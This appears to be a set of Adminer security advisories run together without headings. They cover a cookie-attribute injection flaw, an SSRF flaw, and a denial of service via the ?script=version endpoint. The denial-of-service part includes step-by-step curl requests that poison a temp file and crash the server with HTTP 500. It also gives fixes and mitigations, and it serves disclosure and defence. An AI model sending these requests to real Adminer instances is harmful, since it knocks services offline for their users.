Adminer before 5.4.3 contains a cookie injection vulnerability that allows attackers to manipulate cookie attributes by injecting arbitrary values through the unsanitized X-Forwarded-Prefix HTTP header used in Set-Cookie path attributes. Attackers can exploit a misconfigured reverse proxy to downgrade SameSite protection and enable cross-origin authenticated requests, bypassing cookie security controls.

Summary Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, opensslverify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of uploadtmpdir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript: - functions.js line 102-117: Creates iframe to https://www.adminer.org/version/ - Adminer.org sends signed version data via postMessage - JavaScript POSTs this to ?script=version - Server stores in /tmp/adminer.version for signature verification

javascript // functions.js line 117 ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $GET["script"] == "version" - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (version expected as string, array not rejected)

php // bootstrap.inc.php line 32-40 if ($GET["script"] == "version") { $filename = gettempdir() . "/adminer.version"; @unlink($filename); $fp = fileopenlock($filename); if ($fp) { filewriteunlock($fp, serialize(array("signature" => $POST["signature"], "version" => $POST["version"]))); } exit; }

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to opensslverify():

php // design.inc.php line 75 if (opensslverify($version["version"], base64decode($version["signature"]), $public) == 1) {

PHP 8.x throws: TypeError: opensslverify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible. bash curl -s -o /dev/null -w "%{httpcode}\n" http://localhost:8888/adminer-5.4.1.php Expected output: 200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string. bash curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \ -d "signature=x&version[]=INJECTED" Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash. bash curl -s -o /dev/null -w "%{httpcode}\n" http://localhost:8888/adminer-5.4.1.php Expected output: 500

Step 4: (Optional) View the PHP error in server logs. PHP Fatal error: Uncaught TypeError: opensslverify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file. bash cat /tmp/adminer.version Expected output: a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery: bash rm /tmp/adminer.version After deletion, Adminer returns HTTP 200.

---

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before opensslverify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Adminer contains a server-side request forgery vulnerability that, when exploited, allows a remote attacker to obtain potentially sensitive information.

Impact All users are affected.

Patches Unsuccessfully patched by 0fae40fb, included in version 4.4.0. Patched by 35bfaa75, included in version 4.7.8.

Workarounds Protect access to Adminer also by other means, e.g. by HTTP password, IP address limiting or by OTP plugin.

References http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt https://sourceforge.net/p/adminer/bugs-and-features/769/ https://gusralph.info/adminer-ssrf-bypass-cve-2018-7667/ (CVE-2020-28654)

For more information If you have any questions or comments about this advisory: Comment at 35bfaa75.